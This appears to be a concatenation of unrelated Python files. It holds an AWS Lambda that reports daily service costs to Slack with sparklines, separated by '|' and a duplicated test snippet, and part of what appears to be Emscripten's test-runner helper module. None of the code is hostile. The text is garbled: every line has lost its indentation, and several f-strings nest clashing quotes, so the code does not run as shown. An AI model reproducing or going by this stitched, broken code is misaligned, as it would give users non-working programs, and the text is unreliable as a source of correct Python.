example_result = json.load(f)
with open("example_boto3_result2.json", "r") as f:
example_result2 = json.load(f)
# New Method with 2 example jsons
cost_dict = report_cost(None, None, example_result, yesterday="2021-08-23", new_method=True)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "286.37", f'{cost_dict.get('total'):,.2f} != 286.37'
cost_dict = report_cost(None, None, example_result2, yesterday="2021-08-29", new_method=True)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "21.45", f'{cost_dict.get('total'):,.2f} != 21.45'
# Old Method with same jsons (will fail)
cost_dict = report_cost(None, None, example_result, yesterday="2021-08-23", new_method=False)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "286.37", f'{cost_dict.get('total'):,.2f} != 286.37'
cost_dict = report_cost(None, None, example_result2, yesterday="2021-08-29", new_method=False)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "21.45", f'{cost_dict.get('total'):,.2f} != 21.45'
| from collections import defaultdict
import boto3
import datetime
import os
import requests
import sys
n_days = 7
yesterday = datetime.datetime.today() - datetime.timedelta(days=1)
week_ago = yesterday - datetime.timedelta(days=n_days)
# It seems that the sparkline symbols don't line up (probalby based on font?) so put them last
# Also, leaving out the full block because Slack doesn't like it: '█'
sparks = ['▁', '▂', '▃', '▄', '▅', '▆', '▇']
def sparkline(datapoints):
lower = min(datapoints)
upper = max(datapoints)
width = upper - lower
n_sparks = len(sparks) - 1
line = ""
for dp in datapoints:
scaled = 1 if width == 0 else (dp - lower) / width
which_spark = int(scaled * n_sparks)
line += (sparks[which_spark])
return line
def delta(costs):
if (len(costs) > 1 and costs[-1] >= 1 and costs[-2] >= 1):
# This only handles positive numbers
result = ((costs[-1]/costs[-2])-1)*100.0
else:
result = 0
return result
def report_cost(event, context, result: dict = None, yesterday: str = None, new_method=True):
if yesterday is None:
yesterday = datetime.datetime.today() - datetime.timedelta(days=1)
else:
yesterday = datetime.datetime.strptime(yesterday, '%Y-%m-%d')
week_ago = yesterday - datetime.timedelta(days=n_days)
# Generate list of dates, so that even if our data is sparse,
# we have the correct length lists of costs (len is n_days)
list_of_dates = [
(week_ago + datetime.timedelta(days=x)).strftime('%Y-%m-%d')
for x in range(n_days)
]
print(list_of_dates)
# Get account account name from env, or account id/account alias from boto3
account_name = os.environ.get("AWS_ACCOUNT_NAME", None)
if account_name is None:
iam = boto3.client("iam")
paginator = iam.get_paginator("list_account_aliases")
for aliases in paginator.paginate(PaginationConfig={"MaxItems": 1}):
if "AccountAliases" in aliases and len(aliases["AccountAliases"]) > 0:
account_name = aliases["AccountAliases"][0]
if account_name is None:
account_name = boto3.client("sts").get_caller_identity().get("Account")
if account_name is None:
account_name = "[NOT FOUND]"
client = boto3.client('ce')
query = {
"TimePeriod": {
"Start": week_ago.strftime('%Y-%m-%d'),
"End": yesterday.strftime('%Y-%m-%d'),
},
"Granularity": "DAILY",
"Filter": {
"Not": {
"Dimensions": {
"Key": "RECORD_TYPE",
"Values": [
"Credit",
"Refund",
"Upfront",
"Support",
]
}
}
},
"Metrics": ["UnblendedCost"],
"GroupBy": [
{
"Type": "DIMENSION",
"Key": "SERVICE",
},
],
}
# Only run the query when on lambda, not when testing locally with example json
if result is None:
result = client.get_cost_and_usage(**query)
cost_per_day_by_service = defaultdict(list)
if new_method == False:
# Build a map of service -> array of daily costs for the time frame
for day in result['ResultsByTime']:
for group in day['Groups']:
key = group['Keys'][0]
cost = float(group['Metrics']['UnblendedCost']['Amount'])
cost_per_day_by_service[key].append(cost)
else:
# New method, which first creates a dict of dicts
# then loop over the services and loop over the list_of_dates
# and this means even for sparse data we get a full list of costs
cost_per_day_dict = defaultdict(dict)
for day in result['ResultsByTime']:
start_date = day["TimePeriod"]["Start"]
for group in day['Groups']:
key = group['Keys'][0]
cost = float(group['Metrics']['UnblendedCost']['Amount'])
cost_per_day_dict[key][start_date] = cost
for key in cost_per_day_dict.keys():
for start_date in list_of_dates:
cost = cost_per_day_dict[key].get(start_date, 0.0) # fallback for sparse data
cost_per_day_by_service[key].append(cost)
# Sort the map by yesterday's cost
most_expensive_yesterday = sorted(cost_per_day_by_service.items(), key=lambda i: i[1][-1], reverse=True)
service_names = [k for k,_ in most_expensive_yesterday[:5]]
longest_name_len = len(max(service_names, key = len))
buffer = f"{'Service':{longest_name_len}} ${'Yday':8} {'∆%':>5} {'Last 7d':7}\n"
for service_name, costs in most_expensive_yesterday[:5]:
buffer += f"{service_name:{longest_name_len}} ${costs[-1]:8,.2f} {delta(costs):4.0f}% {sparkline(costs):7}\n"
other_costs = [0.0] * n_days
for service_name, costs in most_expensive_yesterday[5:]:
for i, cost in enumerate(costs):
other_costs[i] += cost
buffer += f"{'Other':{longest_name_len}} ${other_costs[-1]:8,.2f} {delta(other_costs):4.0f}% {sparkline(other_costs):7}\n"
total_costs = [0.0] * n_days
for day_number in range(n_days):
for service_name, costs in most_expensive_yesterday:
try:
total_costs[day_number] += costs[day_number]
except IndexError:
total_costs[day_number] += 0.0
buffer += f"{'Total':{longest_name_len}} ${total_costs[-1]:8,.2f} {delta(total_costs):4.0f}% {sparkline(total_costs):7}\n"
cost_per_day_by_service["total"] = total_costs[-1]
credits_expire_date = os.environ.get('CREDITS_EXPIRE_DATE')
if credits_expire_date:
credits_expire_date = datetime.datetime.strptime(credits_expire_date, "%m/%d/%Y")
credits_remaining_as_of = os.environ.get('CREDITS_REMAINING_AS_OF')
credits_remaining_as_of = datetime.datetime.strptime(credits_remaining_as_of, "%m/%d/%Y")
credits_remaining = float(os.environ.get('CREDITS_REMAINING'))
days_left_on_credits = (credits_expire_date - credits_remaining_as_of).days
allowed_credits_per_day = credits_remaining / days_left_on_credits
relative_to_budget = (total_costs[-1] / allowed_credits_per_day) * 100.0
if relative_to_budget < 60:
emoji = ":white_check_mark:"
elif relative_to_budget > 110:
emoji = ":rotating_light:"
else:
emoji = ":warning:"
summary = (f"{emoji} Yesterday's cost for {account_name} ${total_costs[-1]:,.2f} "
f"is {relative_to_budget:.2f}% of credit budget "
f"${allowed_credits_per_day:,.2f} for the day."
)
else:
summary = f"Yesterday's cost for account {account_name} was ${total_costs[-1]:,.2f}"
hook_url = os.environ.get('SLACK_WEBHOOK_URL')
if hook_url:
resp = requests.post(
hook_url,
json={
"text": summary + "\n\n```\n" + buffer + "\n```",
}
)
if resp.status_code != 200:
print("HTTP %s: %s" % (resp.status_code, resp.text))
else:
print(summary)
print(buffer)
# for running locally to test output
return cost_per_day_by_service
if __name__ == "__main__":
# for running locally to test
import json
with open("example_boto3_result.json", "r") as f:
example_result = json.load(f)
with open("example_boto3_result2.json", "r") as f:
example_result2 = json.load(f)
# New Method with 2 example jsons
cost_dict = report_cost(None, None, example_result, yesterday="2021-08-23", new_method=True)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "286.37", f'{cost_dict.get("total"):,.2f} != 286.37'
cost_dict = report_cost(None, None, example_result2, yesterday="2021-08-29", new_method=True)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "21.45", f'{cost_dict.get("total"):,.2f} != 21.45'
# Old Method with same jsons (will fail)
cost_dict = report_cost(None, None, example_result, yesterday="2021-08-23", new_method=False)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "286.37", f'{cost_dict.get("total"):,.2f} != 286.37'
cost_dict = report_cost(None, None, example_result2, yesterday="2021-08-29", new_method=False)
assert "{0:.2f}".format(cost_dict.get("total", 0.0)) == "21.45", f'{cost_dict.get("total"):,.2f} != 21.45'
|
# Copyright 2021 The Emscripten Authors. All rights reserved.
# Emscripten is available under two separate licenses, the MIT license and the
# University of Illinois/NCSA Open Source License. Both these licenses can be
# found in the LICENSE file.
from enum import Enum
from functools import wraps
from pathlib import Path
from subprocess import PIPE, STDOUT
from urllib.parse import unquote, unquote_plus
from http.server import HTTPServer, SimpleHTTPRequestHandler
import contextlib
import difflib
import hashlib
import logging
import multiprocessing
import os
import shlex
import shutil
import stat
import string
import subprocess
import sys
import tempfile
import time
import webbrowser
import unittest
import clang_native
import jsrun
from jsrun import NON_ZERO
from tools.shared import TEMP_DIR, EMCC, EMXX, DEBUG, EMCONFIGURE, EMCMAKE
from tools.shared import EMSCRIPTEN_TEMP_DIR
from tools.shared import EM_BUILD_VERBOSE
from tools.shared import get_canonical_temp_dir, try_delete, path_from_root
from tools.utils import MACOS, WINDOWS
from tools import shared, line_endings, building, config
logger = logging.getLogger('common')
# User can specify an environment variable EMTEST_BROWSER to force the browser
# test suite to run using another browser command line than the default system
# browser. Setting '0' as the browser disables running a browser (but we still
# see tests compile)
EMTEST_BROWSER = None
EMTEST_DETECT_TEMPFILE_LEAKS = None
EMTEST_SAVE_DIR = None
# generally js engines are equivalent, testing 1 is enough. set this
# to force testing on all js engines, good to find js engine bugs
EMTEST_ALL_ENGINES = None
EMTEST_SKIP_SLOW = None
EMTEST_LACKS_NATIVE_CLANG = None
EMTEST_VERBOSE = None
EMTEST_REBASELINE = None
TEST_ROOT = path_from_root('tests')
WEBIDL_BINDER = shared.bat_suffix(path_from_root('tools/webidl_binder'))
EMBUILDER = shared.bat_suffix(path_from_root('embuilder'))
EMMAKE = shared.bat_suffix(path_from_root('emmake'))
def delete_contents(pathname):
for entry in os.listdir(pathname):
try_delete(os.path.join(pathname, entry))
def test_file(*path_components):
"""Construct a path relative to the emscripten "tests" directory."""
return str(Path(TEST_ROOT, *path_components))
def read_file(*path_components):
return Path(*path_components).read_text()
def read_binary(*path_components):
return Path(*path_components).read_bytes()
# checks if browser testing is enabled
def has_browser():
return EMTEST_BROWSER != '0'
def compiler_for(filename, force_c=False):
if shared.suffix(filename) in ('.cc', '.cxx', '.cpp') and not force_c:
return EMXX
else:
return EMCC
# Generic decorator that calls a function named 'condition' on the test class and
# skips the test if that function returns true
def skip_if(func, condition, explanation='', negate=False):
assert callable(func)
explanation_str = ' : %s' % explanation if explanation else ''
@wraps(func)
def decorated(self, *args, **kwargs):
choice = self.__getattribute__(condition)()
if negate:
choice = not choice
if choice:
self.skipTest(condition + explanation_str)
func(self, *args, **kwargs)
return decorated
def needs_dylink(func):
assert callable(func)
@wraps(func)
def decorated(self):
self.check_dylink()
return func(self)
return decorated
def is_slow_test(func):
assert callable(func)
@wraps(func)
def decorated(self, *args, **kwargs):
if EMTEST_SKIP_SLOW:
return self.skipTest('skipping slow tests')
return func(self, *args, **kwargs)
return decorated
def disabled(note=''):
assert not callable(note)
return unittest.skip(note)
def no_mac(note=''):
assert not callable(note)
if MACOS:
return unittest.skip(note)
return lambda f: f
def no_windows(note=''):
assert not callable(note)
if WINDOWS:
return unittest.skip(note)
return lambda f: f
def requires_native_clang(func):
assert callable(func)
def decorated(self, *args, **kwargs):
if EMTEST_LACKS_NATIVE_CLANG:
return self.skipTest('native clang tests are disabled')
return func(self, *args, **kwargs)
return decorated
def require_node(func):
assert callable(func)
def decorated(self, *args, **kwargs):
self.require_node()
return func(self, *args, **kwargs)
return decorated
def require_v8(func):
assert callable(func)
def decorated(self, *args, **kwargs):
self.require_v8()
return func(self, *args, **kwargs)
return decorated
def node_pthreads(f):
def decorated(self):
self.set_setting('USE_PTHREADS')
self.emcc_args += ['-Wno-pthreads-mem-growth']
if self.get_setting('MINIMAL_RUNTIME'):
self.skipTest('node pthreads not yet supported with MINIMAL_RUNTIME')
self.js_engines = [config.NODE_JS]
self.node_args += ['--experimental-wasm-threads', '--experimental-wasm-bulk-memory']
f(self)
return decorated
@contextlib.contextmanager
def env_modify(updates):
"""A context manager that updates os.environ."""
# This could also be done with mock.patch.dict() but taking a dependency
# on the mock library is probably not worth the benefit.
old_env = os.environ.copy()
print("env_modify: " + str(updates))
# Seting a value to None means clear the environment variable
clears = [key for key, value in updates.items() if value is None]
updates = {key: value for key, value in updates.items() if value is not None}
os.environ.update(updates)
for key in clears:
if key in os.environ:
del os.environ[key]
try:
yield
finally:
os.environ.clear()
os.environ.update(old_env)
# Decorator version of env_modify
def with_env_modify(updates):
def decorated(f):
def modified(self):
with env_modify(updates):
return f(self)
return modified
return decorated
def ensure_dir(dirname):
dirname = Path(dirname)
dirname.mkdir(parents=True, exist_ok=True)
def limit_size(string, maxbytes=800000 * 20, maxlines=100000, max_line=5000):
lines = string.splitlines()
for i, line in enumerate(lines):
if len(line) > max_line:
lines[i] = line[:max_line] + '[..]'
if len(lines) > maxlines:
lines = lines[0:maxlines // 2] + ['[..]'] + lines[-maxlines // 2:]
string = '\n'.join(lines) + '\n'
if len(string) > maxbytes:
string = string[0:maxbytes // 2] + '\n[..]\n' + string[-maxbytes // 2:]
return string
def create_file(name, contents, binary=False):
name = Path(name)
assert not name.is_absolute()
if binary:
name.write_bytes(contents)
else:
name.write_text(contents)
def make_executable(name):
Path(name).chmod(stat.S_IREAD | stat.S_IWRITE | stat.S_IEXEC)
def parameterized(parameters):
"""
Mark a test as parameterized.
Usage:
@parameterized({
'subtest1': (1, 2, 3),
'subtest2': (4, 5, 6),
})
def test_something(self, a, b, c):
... # actual test body
This is equivalent to defining two tests:
def test_something_subtest1(self):
# runs test_something(1, 2, 3)
def test_something_subtest2(self):
# runs test_something(4, 5, 6)
"""
def decorator(func):
func._parameterize = parameters
return func
return decorator
class RunnerMeta(type):
@classmethod
def make_test(mcs, name, func, suffix, args):
"""
This is a helper function to create new test functions for each parameterized form.
:param name: the original name of the function
:param func: the original function that we are parameterizing
:param suffix: the suffix to append to the name of the function for this parameterization
:param args: the positional arguments to pass to the original function for this parameterization
:returns: a tuple of (new_function_name, new_function_object)
"""
# Create the new test function. It calls the original function with the specified args.
# We use @functools.wraps to copy over all the function attributes.
@wraps(func)
def resulting_test(self):
return func(self, *args)
# Add suffix to the function name so that it displays correctly.
if suffix:
resulting_test.__name__ = f'{name}_{suffix}'
else:
resulting_test.__name__ = name
# On python 3, functions have __qualname__ as well. This is a full dot-separated path to the
# function. We add the suffix to it as well.
resulting_test.__qualname__ = f'{func.__qualname__}_{suffix}'
return resulting_test.__name__, resulting_test
def __new__(mcs, name, bases, attrs):
# This metaclass expands parameterized methods from `attrs` into separate ones in `new_attrs`.
new_attrs = {}
for attr_name, value in attrs.items():
# Check if a member of the new class has _parameterize, the tag inserted by @parameterized.
if hasattr(value, '_parameterize'):
# If it does, we extract the parameterization information, build new test functions.
for suffix, args in value._parameterize.items():
new_name, func = mcs.make_test(attr_name, value, suffix, args)
assert new_name not in new_attrs, 'Duplicate attribute name generated when parameterizing %s' % attr_name
new_attrs[new_name] = func
else:
# If not, we just copy it over to new_attrs verbatim.
assert attr_name not in new_attrs, '%s collided with an attribute from parameterization' % attr_name
new_attrs[attr_name] = value
# We invoke type, the default metaclass, to actually create the new class, with new_attrs.
return type.__new__(mcs, name, bases, new_attrs)
class RunnerCore(unittest.TestCase, metaclass=RunnerMeta):
# default temporary directory settings. set_temp_dir may be called later to
# override these
temp_dir = TEMP_DIR
canonical_temp_dir = get_canonical_temp_dir(TEMP_DIR)
# This avoids cluttering the test runner output, which is stderr too, with compiler warnings etc.
# Change this to None to get stderr reporting, for debugging purposes
stderr_redirect = STDOUT
def is_wasm(self):
return self.get_setting('WASM') != 0
def check_dylink(self):
if self.get_setting('ALLOW_MEMORY_GROWTH') == 1 and not self.is_wasm():
self.skipTest('no dynamic linking with memory growth (without wasm)')
if not self.is_wasm():
self.skipTest('no dynamic linking support in wasm2js yet')
if '-fsanitize=address' in self.emcc_args:
self.skipTest('no dynamic linking support in ASan yet')
if '-fsanitize=leak' in self.emcc_args:
self.skipTest('no dynamic linking support in LSan yet')
def require_v8(self):
if not config.V8_ENGINE or config.V8_ENGINE not in config.JS_ENGINES:
if 'EMTEST_SKIP_V8' in os.environ:
self.skipTest('test requires v8 and EMTEST_SKIP_V8 is set')
else:
self.fail('d8 required to run this test. Use EMTEST_SKIP_V8 to skip')
self.js_engines = [config.V8_ENGINE]
self.emcc_args.append('-sENVIRONMENT=shell')
def require_node(self):
if not config.NODE_JS or config.NODE_JS not in config.JS_ENGINES:
if 'EMTEST_SKIP_NODE' in os.environ:
self.skipTest('test requires node and EMTEST_SKIP_NODE is set')
else:
self.fail('node required to run this test. Use EMTEST_SKIP_NODE to skip')
self.js_engines = [config.NODE_JS]
def uses_memory_init_file(self):
if self.get_setting('SIDE_MODULE') or (self.is_wasm() and not self.get_setting('WASM2JS')):
return False
elif '--memory-init-file' in self.emcc_args:
return int(self.emcc_args[self.emcc_args.index('--memory-init-file') + 1])
else:
# side modules handle memory differently; binaryen puts the memory in the wasm module
opt_supports = any(opt in self.emcc_args for opt in ('-O2', '-O3', '-Os', '-Oz'))
return opt_supports
def set_temp_dir(self, temp_dir):
self.temp_dir = temp_dir
self.canonical_temp_dir = get_canonical_temp_dir(self.temp_dir)
# Explicitly set dedicated temporary directory for parallel tests
os.environ['EMCC_TEMP_DIR'] = self.temp_dir
@classmethod
def setUpClass(cls):
super().setUpClass()
print('(checking sanity from test runner)') # do this after we set env stuff
shared.check_sanity(force=True)
def setUp(self):
super().setUp()
self.settings_mods = {}
self.emcc_args = ['-Werror']
self.node_args = ['--stack-trace-limit=50']
self.v8_args = []
self.env = {}
self.temp_files_before_run = []
self.uses_es6 = False
self.js_engines = config.JS_ENGINES.copy()
self.wasm_engines = config.WASM_ENGINES.copy()
self.banned_js_engines = []
self.use_all_engines = EMTEST_ALL_ENGINES
if EMTEST_DETECT_TEMPFILE_LEAKS:
for root, dirnames, filenames in os.walk(self.temp_dir):
for dirname in dirnames:
self.temp_files_before_run.append(os.path.normpath(os.path.join(root, dirname)))
for filename in filenames:
self.temp_files_before_run.append(os.path.normpath(os.path.join(root, filename)))
if EMTEST_SAVE_DIR:
self.working_dir = os.path.join(self.temp_dir, 'emscripten_test')
if os.path.exists(self.working_dir):
if EMTEST_SAVE_DIR == 2:
print('Not clearing existing test directory')
else:
print('Clearing existing test directory')
# Even when EMTEST_SAVE_DIR we still try to start with an empty directoy as many tests
# expect this. EMTEST_SAVE_DIR=2 can be used to keep the old contents for the new test
# run. This can be useful when iterating on a given test with extra files you want to keep
# around in the output directory.
delete_contents(self.working_dir)
else:
print('Creating new test output directory')
ensure_dir(self.working_dir)
else:
self.working_dir = tempfile.mkdtemp(prefix='emscripten_test_' + self.__class__.__name__ + '_', dir=self.temp_dir)
os.chdir(self.working_dir)
if not EMTEST_SAVE_DIR:
self.has_prev_ll = False
for temp_file in os.listdir(TEMP_DIR):
if temp_file.endswith('.ll'):
self.has_prev_ll = True
def tearDown(self):
if not EMTEST_SAVE_DIR:
# rmtree() fails on Windows if the current working directory is inside the tree.
os.chdir(os.path.dirname(self.get_dir()))
try_delete(self.get_dir())
if EMTEST_DETECT_TEMPFILE_LEAKS and not DEBUG:
temp_files_after_run = []
for root, dirnames, filenames in os.walk(self.temp_dir):
for dirname in dirnames:
temp_files_after_run.append(os.path.normpath(os.path.join(root, dirname)))
for filename in filenames:
temp_files_after_run.append(os.path.normpath(os.path.join(root, filename)))
# Our leak detection will pick up *any* new temp files in the temp dir.
# They may not be due to us, but e.g. the browser when running browser
# tests. Until we figure out a proper solution, ignore some temp file
# names that we see on our CI infrastructure.
ignorable_file_prefixes = [
'/tmp/tmpaddon',
'/tmp/circleci-no-output-timeout',
'/tmp/wasmer'
]
left_over_files = set(temp_files_after_run) - set(self.temp_files_before_run)
left_over_files = [f for f in left_over_files if not any([f.startswith(prefix) for prefix in ignorable_file_prefixes])]
if len(left_over_files):
print('ERROR: After running test, there are ' + str(len(left_over_files)) + ' new temporary files/directories left behind:', file=sys.stderr)
for f in left_over_files:
print('leaked file: ' + f, file=sys.stderr)
self.fail('Test leaked ' + str(len(left_over_files)) + ' temporary files!')
def get_setting(self, key, default=None):
return self.settings_mods.get(key, default)
def set_setting(self, key, value=1):
if value is None:
self.clear_setting(key)
self.settings_mods[key] = value
def has_changed_setting(self, key):
return key in self.settings_mods
def clear_setting(self, key):
self.settings_mods.pop(key, None)
def serialize_settings(self):
ret = []
for key, value in self.settings_mods.items():
if value == 1:
ret.append(f'-s{key}')
elif type(value) == list:
ret.append(f'-s{key}={','.join(value)}')
else:
ret.append(f'-s{key}={value}')
return ret
def get_dir(self):
return self.working_dir
def in_dir(self, *pathelems):
return os.path.join(self.get_dir(), *pathelems)
def add_pre_run(self, code):
create_file('prerun.js', 'Module.preRun = function() { %s }' % code)
self.emcc_args += ['--pre-js', 'prerun.js']
def add_post_run(self, code):
create_file('postrun.js', 'Module.postRun = function() { %s }' % code)
self.emcc_args += ['--pre-js', 'postrun.js']
def add_on_exit(self, code):
create_file('onexit.js', 'Module.onExit = function() { %s }' % code)
self.emcc_args += ['--pre-js', 'onexit.js']
# returns the full list of arguments to pass to emcc
# param @main_file whether this is the main file of the test. some arguments
# (like --pre-js) do not need to be passed when building
# libraries, for example
def get_emcc_args(self, main_file=False):
args = self.serialize_settings() + self.emcc_args
if not main_file:
for i, arg in enumerate(args):
if arg in ('--pre-js', '--post-js'):
args[i] = None
args[i + 1] = None
args = [arg for arg in args if arg is not None]
return args
def verify_es5(self, filename):
es_check = shared.get_npm_cmd('es-check')
# use --quiet once its available
# See: https://github.com/dollarshaveclub/es-check/pull/126/
es_check_env = os.environ.copy()
es_check_env['PATH'] = os.path.dirname(config.NODE_JS[0]) + os.pathsep + es_check_env['PATH']
try:
shared.run_process(es_check + ['es5', os.path.abspath(filename), '--quiet'], stderr=PIPE, env=es_check_env)
except subprocess.CalledProcessError as e:
print(e.stderr)
self.fail('es-check failed to verify ES5 output compliance')
# Build JavaScript code from source code
def build(self, filename, libraries=[], includes=[], force_c=False, js_outfile=True, emcc_args=[]):
suffix = '.js' if js_outfile else '.wasm'
compiler = [compiler_for(filename, force_c)]
if compiler[0] == EMCC:
# TODO(https://github.com/emscripten-core/emscripten/issues/11121)
# We link with C++ stdlibs, even when linking with emcc for historical reasons. We can remove
# this if this issues is fixed.
compiler.append('-nostdlib++')
if force_c:
compiler.append('-xc')
dirname, basename = os.path.split(filename)
output = shared.unsuffixed(basename) + suffix
cmd = compiler + [filename, '-o', output] + self.get_emcc_args(main_file=True) + emcc_args + libraries
if shared.suffix(filename) not in ('.i', '.ii'):
# Add the location of the test file to include path.
cmd += ['-I.']
cmd += ['-I' + str(include) for include in includes]
self.run_process(cmd, stderr=self.stderr_redirect if not DEBUG else None)
self.assertExists(output)
if js_outfile and not self.uses_es6:
self.verify_es5(output)
if js_outfile and self.uses_memory_init_file():
src = read_file(output)
# side memory init file, or an empty one in the js
assert ('/* memory initializer */' not in src) or ('/* memory initializer */ allocate([]' in src)
return output
def get_func(self, src, name):
start = src.index('function ' + name + '(')
t = start
n = 0
while True:
if src[t] == '{':
n += 1
elif src[t] == '}':
n -= 1
if n == 0:
return src[start:t + 1]
t += 1
assert t < len(src)
def count_funcs(self, javascript_file):
num_funcs = 0
start_tok = "// EMSCRIPTEN_START_FUNCS"
end_tok = "// EMSCRIPTEN_END_FUNCS"
start_off = 0
end_off = 0
js = read_file(javascript_file)
blob = "".join(js.splitlines())
start_off = blob.find(start_tok) + len(start_tok)
end_off = blob.find(end_tok)
asm_chunk = blob[start_off:end_off]
num_funcs = asm_chunk.count('function ')
return num_funcs
def count_wasm_contents(self, wasm_binary, what):
out = self.run_process([os.path.join(building.get_binaryen_bin(), 'wasm-opt'), wasm_binary, '--metrics'], stdout=PIPE).stdout
# output is something like
# [?] : 125
for line in out.splitlines():
if '[' + what + ']' in line:
ret = line.split(':')[1].strip()
return int(ret)
self.fail('Failed to find [%s] in wasm-opt output' % what)
def get_wasm_text(self, wasm_binary):
return self.run_process([os.path.join(building.get_binaryen_bin(), 'wasm-dis'), wasm_binary], stdout=PIPE).stdout
def is_exported_in_wasm(self, name, wasm):
wat = self.get_wasm_text(wasm)
return ('(export "%s"' % name) in wat
def run_js(self, filename, engine=None, args=[], output_nicerizer=None, assert_returncode=0):
# use files, as PIPE can get too full and hang us
stdout = self.in_dir('stdout')
stderr = self.in_dir('stderr')
error = None
if not engine:
engine = self.js_engines[0]
if engine == config.NODE_JS:
engine = engine + self.node_args
if engine == config.V8_ENGINE:
engine = engine + self.v8_args
if EMTEST_VERBOSE:
print(f"Running '{filename}' under '{shared.shlex_join(engine)}'")
try:
jsrun.run_js(filename, engine, args,
stdout=open(stdout, 'w'),
stderr=open(stderr, 'w'),
assert_returncode=assert_returncode)
except subprocess.CalledProcessError as e:
error = e
# Make sure that we produced proper line endings to the .js file we are about to run.
if not filename.endswith('.wasm'):
self.assertEqual(line_endings.check_line_endings(filename), 0)
out = read_file(stdout)
err = read_file(stderr)
if output_nicerizer:
ret = output_nicerizer(out, err)
else:
ret = out + err
if error or EMTEST_VERBOSE:
ret = limit_size(ret)
print('-- begin program output --')
print(ret, end='')
print('-- end program output --')
if error:
if assert_returncode == NON_ZERO:
self.fail('JS subprocess unexpectedly succeeded (%s): Output:\n%s' % (error.cmd, ret))
else:
self.fail('JS subprocess failed (%s): %s. Output:\n%s' % (error.cmd, error.returncode, ret))
# We should pass all strict mode checks
self.assertNotContained('strict warning:', ret)
return ret
def assertExists(self, filename, msg=None):
if not msg:
msg = 'Expected file not found: ' + filename
self.assertTrue(os.path.exists(filename), msg)
def assertNotExists(self, filename, msg=None):
if not msg:
msg = 'Unexpected file exists: ' + filename
self.assertFalse(os.path.exists(filename), msg)
# Tests that the given two paths are identical, modulo path delimiters. E.g. "C:/foo" is equal to "C:\foo".
def assertPathsIdentical(self, path1, path2):
path1 = path1.replace('\\', '/')
path2 = path2.replace('\\', '/')
return self.assertIdentical(path1, path2)
# Tests that the given two multiline text content are identical, modulo line
# ending differences (\r\n on Windows, \n on Unix).
def assertTextDataIdentical(self, text1, text2, msg=None,
fromfile='expected', tofile='actual'):
text1 = text1.replace('\r\n', '\n')
text2 = text2.replace('\r\n', '\n')
return self.assertIdentical(text1, text2, msg, fromfile, tofile)
def assertIdentical(self, values, y, msg=None,
fromfile='expected', tofile='actual'):
if type(values) not in (list, tuple):
values = [values]
for x in values:
if x == y:
return # success
diff_lines = difflib.unified_diff(x.splitlines(), y.splitlines(),
fromfile=fromfile, tofile=tofile)
diff = ''.join([a.rstrip() + '\n' for a in diff_lines])
if EMTEST_VERBOSE:
print("Expected to have '%s' == '%s'" % (limit_size(values[0]), limit_size(y)))
fail_message = 'Unexpected difference:\n' + limit_size(diff)
if not EMTEST_VERBOSE:
fail_message += '\nFor full output run with EMTEST_VERBOSE=1.'
if msg:
fail_message += '\n' + msg
self.fail(fail_message)
def assertTextDataContained(self, text1, text2):
text1 = text1.replace('\r\n', '\n')
text2 = text2.replace('\r\n', '\n')
return self.assertContained(text1, text2)
def assertContained(self, values, string, additional_info=''):
if type(values) not in [list, tuple]:
values = [values]
if callable(string):
string = string()
if not any(v in string for v in values):
diff = difflib.unified_diff(values[0].split('\n'), string.split('\n'), fromfile='expected', tofile='actual')
diff = ''.join(a.rstrip() + '\n' for a in diff)
self.fail("Expected to find '%s' in '%s', diff:\n\n%s\n%s" % (
limit_size(values[0]), limit_size(string), limit_size(diff),
additional_info
))
def assertNotContained(self, value, string):
if callable(value):
value = value() # lazy loading
if callable(string):
string = string()
if value in string:
self.fail("Expected to NOT find '%s' in '%s', diff:\n\n%s" % (
limit_size(value), limit_size(string),
limit_size(''.join([a.rstrip() + '\n' for a in difflib.unified_diff(value.split('\n'), string.split('\n'), fromfile='expected', tofile='actual')]))
))
def assertContainedIf(self, value, string, condition):
if condition:
self.assertContained(value, string)
else:
self.assertNotContained(value, string)
def assertBinaryEqual(self, file1, file2):
self.assertEqual(os.path.getsize(file1),
os.path.getsize(file2))
self.assertEqual(read_binary(file1),
read_binary(file2))
library_cache = {}
def get_build_dir(self):
ret = os.path.join(self.get_dir(), 'building')
ensure_dir(ret)
return ret
def get_library(self, name, generated_libs, configure=['sh', './configure'],
configure_args=[], make=['make'], make_args=None,
env_init=None, cache_name_extra='', native=False):
if env_init is None:
env_init = {}
if make_args is None:
make_args = ['-j', str(shared.get_num_cores())]
build_dir = self.get_build_dir()
output_dir = self.get_dir()
emcc_args = self.get_emcc_args()
hash_input = (str(emcc_args) + ' $ ' + str(env_init)).encode('utf-8')
cache_name = name + ','.join([opt for opt in emcc_args if len(opt) < 7]) + '_' + hashlib.md5(hash_input).hexdigest() + cache_name_extra
valid_chars = "_%s%s" % (string.ascii_letters, string.digits)
cache_name = ''.join([(c if c in valid_chars else '_') for c in cache_name])
if self.library_cache.get(cache_name):
print('<load %s from cache> ' % cache_name, file=sys.stderr)
generated_libs = []
for basename, contents in self.library_cache[cache_name]:
bc_file = os.path.join(build_dir, cache_name + '_' + basename)
with open(bc_file, 'wb') as f:
f.write(contents)
generated_libs.append(bc_file)
return generated_libs
print(f'<building and saving {cache_name} into cache>', file=sys.stderr)
if configure is not None:
# Avoid += so we don't mutate the default arg
configure = configure + configure_args
cflags = ' '.join(self.get_emcc_args())
env_init.setdefault('CFLAGS', cflags)
env_init.setdefault('CXXFLAGS', cflags)
return build_library(name, build_dir, output_dir, generated_libs, configure,
make, make_args, self.library_cache,
cache_name, env_init=env_init, native=native)
def clear(self):
delete_contents(self.get_dir())
if EMSCRIPTEN_TEMP_DIR:
delete_contents(EMSCRIPTEN_TEMP_DIR)
def run_process(self, cmd, check=True, **args):
# Wrapper around shared.run_process. This is desirable so that the tests
# can fail (in the unittest sense) rather than error'ing.
# In the long run it would nice to completely remove the dependency on
# core emscripten code (shared.py) here.
try:
return shared.run_process(cmd, check=check, **args)
except subprocess.CalledProcessError as e:
if check and e.returncode != 0:
self.fail('subprocess exited with non-zero return code(%d): `%s`' %
(e.returncode, shared.shlex_join(cmd)))
def emcc(self, filename, args=[], output_filename=None, **kwargs):
if output_filename is None:
output_filename = filename + '.o'
try_delete(output_filename)
self.run_process([compiler_for(filename), filename] + args + ['-o', output_filename], **kwargs)
